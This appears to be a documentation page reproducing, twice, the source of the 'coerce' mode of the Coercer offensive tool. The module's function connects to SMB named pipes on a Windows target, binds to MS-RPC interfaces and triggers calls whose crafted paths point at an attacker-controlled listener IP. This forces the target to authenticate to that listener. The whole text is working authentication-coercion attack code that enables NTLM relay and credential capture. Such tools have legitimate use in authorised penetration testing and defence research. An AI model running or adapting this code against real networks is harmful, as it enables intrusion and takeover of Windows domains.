coercer.core.modes.coerce
1#!/usr/bin/env python3 2# -*- coding: utf-8 -*- 3# File name : coerce.py 4# Author : Podalirius (@podalirius_) 5# Date created : 18 Sep 2022 6 7 8import time 9from coercer.core.Filter import Filter 10from coercer.core.utils import generate_exploit_path_from_template 11from coercer.network.DCERPCSession import DCERPCSession 12from coercer.structures.TestResult import TestResult 13from coercer.network.authentications import trigger_authentication 14from coercer.network.smb import can_connect_to_pipe, can_bind_to_interface 15 16 17def action_coerce(target, available_methods, options, credentials, reporter): 18 reporter.verbose = True 19 20 filter = Filter( 21 filter_method_name=options.filter_method_name, 22 filter_protocol_name=options.filter_protocol_name, 23 filter_pipe_name=options.filter_pipe_name 24 ) 25 26 # Preparing tasks ============================================================================================================== 27 28 tasks = {} 29 for method_type in available_methods.keys(): 30 for category in sorted(available_methods[method_type].keys()): 31 for method in sorted(available_methods[method_type][category].keys()): 32 instance = available_methods[method_type][category][method]["class"] 33 34 if filter.method_matches_filter(instance): 35 for access_type, access_methods in instance.access.items(): 36 if access_type not in tasks.keys(): 37 tasks[access_type] = {} 38 39 # Access through SMB named pipe 40 if access_type == "ncan_np": 41 for access_method in access_methods: 42 namedpipe, uuid, version = access_method["namedpipe"], access_method["uuid"], access_method["version"] 43 if filter.pipe_matches_filter(namedpipe): 44 if namedpipe not in tasks[access_type].keys(): 45 tasks[access_type][namedpipe] = {} 46 47 if uuid not in tasks[access_type][namedpipe].keys(): 48 tasks[access_type][namedpipe][uuid] = {} 49 50 if version not in tasks[access_type][namedpipe][uuid].keys(): 51 tasks[access_type][namedpipe][uuid][version] = [] 52 53 if instance not in tasks[access_type][namedpipe][uuid][version]: 54 tasks[access_type][namedpipe][uuid][version].append(instance) 55 56 # Executing tasks ======================================================================================================================= 57 58 if options.verbose: 59 print("[+] Coercing '%s' to authenticate to '%s'" % (target, options.listener_ip)) 60 61 # Processing ncan_np tasks 62 ncan_np_tasks = tasks["ncan_np"] 63 for namedpipe in sorted(ncan_np_tasks.keys()): 64 if can_connect_to_pipe(target, namedpipe, credentials): 65 print("[+] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;92maccessible\x1b[0m!" % namedpipe) 66 for uuid in sorted(ncan_np_tasks[namedpipe].keys()): 67 for version in sorted(ncan_np_tasks[namedpipe][uuid].keys()): 68 if can_bind_to_interface(target, namedpipe, credentials, uuid, version): 69 print(" [+] Successful bind to interface (%s, %s)!" % (uuid, version)) 70 for msprotocol_class in sorted(ncan_np_tasks[namedpipe][uuid][version], key=lambda x:x.function["name"]): 71 72 exploit_paths = msprotocol_class.generate_exploit_templates(desired_auth_type=options.auth_type) 73 74 stop_exploiting_this_function = False 75 for listener_type, exploitpath in exploit_paths: 76 if stop_exploiting_this_function: 77 # Got a nca_s_unk_if response, this function does not listen on the given interface 78 continue 79 80 exploitpath = generate_exploit_path_from_template( 81 template=exploitpath, 82 listener=options.listener_ip, 83 http_listen_port=options.http_port, 84 smb_listen_port=options.smb_port 85 ) 86 87 msprotocol_rpc_instance = msprotocol_class(path=exploitpath) 88 dcerpc = DCERPCSession(credentials=credentials, verbose=True) 89 dcerpc.connect_ncacn_np(target=target, pipe=namedpipe) 90 91 if dcerpc.session is not None: 92 dcerpc.bind(interface_uuid=uuid, interface_version=version) 93 if dcerpc.session is not None: 94 reporter.print_testing(msprotocol_rpc_instance) 95 96 result = trigger_authentication( 97 dcerpc_session=dcerpc.session, 98 target=target, 99 method_trigger_function=msprotocol_rpc_instance.trigger 100 ) 101 102 reporter.report_test_result( 103 uuid=uuid, version=version, namedpipe=namedpipe, 104 msprotocol_rpc_instance=msprotocol_rpc_instance, 105 result=result, 106 exploitpath=exploitpath 107 ) 108 109 if result == TestResult.NCA_S_UNK_IF: 110 stop_exploiting_this_function = True 111 112 if options.delay is not None: 113 # Sleep between attempts 114 time.sleep(options.delay) 115 116 if not options.always_continue: 117 next_action_answer = None 118 while next_action_answer not in ["C","S","X"]: 119 next_action_answer = input("Continue (C) | Skip this function (S) | Stop exploitation (X) ? ") 120 if len(next_action_answer) > 0: 121 next_action_answer = next_action_answer.strip()[0].upper() 122 if next_action_answer == "C": 123 pass 124 elif next_action_answer == "S": 125 stop_exploiting_this_function = True 126 elif next_action_answer == "X": 127 return None 128 else: 129 if options.verbose: 130 print(" [!] Cannot bind to interface (%s, %s)!" % (uuid, version)) 131 else: 132 if options.verbose: 133 print("[!] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;91mnot accessible\x1b[0m!" % namedpipe)
def
action_coerce(target, available_methods, options, credentials, reporter):
18def action_coerce(target, available_methods, options, credentials, reporter): 19 reporter.verbose = True 20 21 filter = Filter( 22 filter_method_name=options.filter_method_name, 23 filter_protocol_name=options.filter_protocol_name, 24 filter_pipe_name=options.filter_pipe_name 25 ) 26 27 # Preparing tasks ============================================================================================================== 28 29 tasks = {} 30 for method_type in available_methods.keys(): 31 for category in sorted(available_methods[method_type].keys()): 32 for method in sorted(available_methods[method_type][category].keys()): 33 instance = available_methods[method_type][category][method]["class"] 34 35 if filter.method_matches_filter(instance): 36 for access_type, access_methods in instance.access.items(): 37 if access_type not in tasks.keys(): 38 tasks[access_type] = {} 39 40 # Access through SMB named pipe 41 if access_type == "ncan_np": 42 for access_method in access_methods: 43 namedpipe, uuid, version = access_method["namedpipe"], access_method["uuid"], access_method["version"] 44 if filter.pipe_matches_filter(namedpipe): 45 if namedpipe not in tasks[access_type].keys(): 46 tasks[access_type][namedpipe] = {} 47 48 if uuid not in tasks[access_type][namedpipe].keys(): 49 tasks[access_type][namedpipe][uuid] = {} 50 51 if version not in tasks[access_type][namedpipe][uuid].keys(): 52 tasks[access_type][namedpipe][uuid][version] = [] 53 54 if instance not in tasks[access_type][namedpipe][uuid][version]: 55 tasks[access_type][namedpipe][uuid][version].append(instance) 56 57 # Executing tasks ======================================================================================================================= 58 59 if options.verbose: 60 print("[+] Coercing '%s' to authenticate to '%s'" % (target, options.listener_ip)) 61 62 # Processing ncan_np tasks 63 ncan_np_tasks = tasks["ncan_np"] 64 for namedpipe in sorted(ncan_np_tasks.keys()): 65 if can_connect_to_pipe(target, namedpipe, credentials): 66 print("[+] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;92maccessible\x1b[0m!" % namedpipe) 67 for uuid in sorted(ncan_np_tasks[namedpipe].keys()): 68 for version in sorted(ncan_np_tasks[namedpipe][uuid].keys()): 69 if can_bind_to_interface(target, namedpipe, credentials, uuid, version): 70 print(" [+] Successful bind to interface (%s, %s)!" % (uuid, version)) 71 for msprotocol_class in sorted(ncan_np_tasks[namedpipe][uuid][version], key=lambda x:x.function["name"]): 72 73 exploit_paths = msprotocol_class.generate_exploit_templates(desired_auth_type=options.auth_type) 74 75 stop_exploiting_this_function = False 76 for listener_type, exploitpath in exploit_paths: 77 if stop_exploiting_this_function: 78 # Got a nca_s_unk_if response, this function does not listen on the given interface 79 continue 80 81 exploitpath = generate_exploit_path_from_template( 82 template=exploitpath, 83 listener=options.listener_ip, 84 http_listen_port=options.http_port, 85 smb_listen_port=options.smb_port 86 ) 87 88 msprotocol_rpc_instance = msprotocol_class(path=exploitpath) 89 dcerpc = DCERPCSession(credentials=credentials, verbose=True) 90 dcerpc.connect_ncacn_np(target=target, pipe=namedpipe) 91 92 if dcerpc.session is not None: 93 dcerpc.bind(interface_uuid=uuid, interface_version=version) 94 if dcerpc.session is not None: 95 reporter.print_testing(msprotocol_rpc_instance) 96 97 result = trigger_authentication( 98 dcerpc_session=dcerpc.session, 99 target=target, 100 method_trigger_function=msprotocol_rpc_instance.trigger 101 ) 102 103 reporter.report_test_result( 104 uuid=uuid, version=version, namedpipe=namedpipe, 105 msprotocol_rpc_instance=msprotocol_rpc_instance, 106 result=result, 107 exploitpath=exploitpath 108 ) 109 110 if result == TestResult.NCA_S_UNK_IF: 111 stop_exploiting_this_function = True 112 113 if options.delay is not None: 114 # Sleep between attempts 115 time.sleep(options.delay) 116 117 if not options.always_continue: 118 next_action_answer = None 119 while next_action_answer not in ["C","S","X"]: 120 next_action_answer = input("Continue (C) | Skip this function (S) | Stop exploitation (X) ? ") 121 if len(next_action_answer) > 0: 122 next_action_answer = next_action_answer.strip()[0].upper() 123 if next_action_answer == "C": 124 pass 125 elif next_action_answer == "S": 126 stop_exploiting_this_function = True 127 elif next_action_answer == "X": 128 return None 129 else: 130 if options.verbose: 131 print(" [!] Cannot bind to interface (%s, %s)!" % (uuid, version)) 132 else: 133 if options.verbose: 134 print("[!] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;91mnot accessible\x1b[0m!" % namedpipe)